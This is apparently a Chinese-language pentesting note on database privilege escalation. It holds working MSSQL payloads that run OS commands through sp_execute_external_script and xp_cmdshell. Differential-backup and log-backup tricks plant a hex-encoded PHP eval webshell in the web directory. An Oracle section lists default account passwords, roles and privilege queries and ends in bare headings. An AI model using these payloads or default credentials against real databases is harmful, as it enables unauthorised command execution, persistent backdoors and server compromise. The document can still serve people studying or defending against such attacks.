1 2 3 4 5 6 7 8 9 10 11 12 EXEC sp_execute_external_script@language = N'R' ,@script = N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))' WITH RESULT SETS (([cmd_out] text));exec sp_execute_external_script@language = N'Python' ,@script = N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
差异备份写webshell(dbo权限) dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell
利用前提: (1) 知道网站绝对路径且路径可写 (2) 利用数据库必须存在备份文件
差异备份:
1 2 3 4 5 6 7 backup database test to disk = 'C:\phpstudy_pro\WWW\1.bak' ;create table test([cmd][image]);Insert into test(cmd)values (0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e ); backup database test to disk= 'C:\phpstudy_pro\WWW\shell.php' WITH DIFFERENTIAL,FORMAT;
日志备份:
1 2 3 4 5 alter database test set RECOVERY FULL create table cmd (a image) backup log test to disk = 'c:\phpstudy_pro\www\2.bak' with init insert into cmd (a) values (0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e ) backup log test to disk = 'c:\phpstudy_pro\www\2.php'
不支持堆叠的情况下执行系统命令 1 select 1 where 1 = 1 if 1 = 1 execute ('exec sp_configure ''show advanced options'', 1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell ''whoami''' );
Oracle提权 网上Oracle提权文章极其混乱,很烦。慢慢看
Oracle用户、角色与权限 默认用户:
名称
默认密码
SYS
change_on_install
SYSTEM
manager
SYSMAN
oem_temp
scott
tiger
……
……
角色:
角色是一个或者多个系统权限或者对象权限的集合,是便于我们管理用户赋权而演化而来的
ROLE
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
…..
查看所有角色:
1 select * from dba_roles;
查看当前用户角色:
1 select * from user_role_privs;
系统权限:
名称
权限
CREATE SESSION
创建会话
CREATE SEQUENCE
创建序列
CREATE SYNONYM
创建同名对象
CREATE TABLE
在用户模式中创建表
DROP TABLE
在用户模式中删除表
CREATE PROCEDURE
创建存储过程
EXECUTE ANY PROCEDURE
执行任何模式的存储过程
…大概200多种
查看所有系统权限:
1 select * from system_privilege_map;
查看用户所具有的系统权限:
1 select * from dba_sys_privs;
查看当前用户的系统权限:
1 select * from user_sys_privs;
对象权限:
权限名
权限
select
查询
update
更新
insert
插入
alter
修改
references
关联
index
索引
delete
删除
execute
执行
all
所有权限
利用存储过程 利用java权限 DBMS_JVM_EXP_PERMS DBMS_JAVA_TEST.FUNCALL() DBMS_JAVA.RUNJAVA 暂不知道什么分类 XML序列化任意文件写入 参考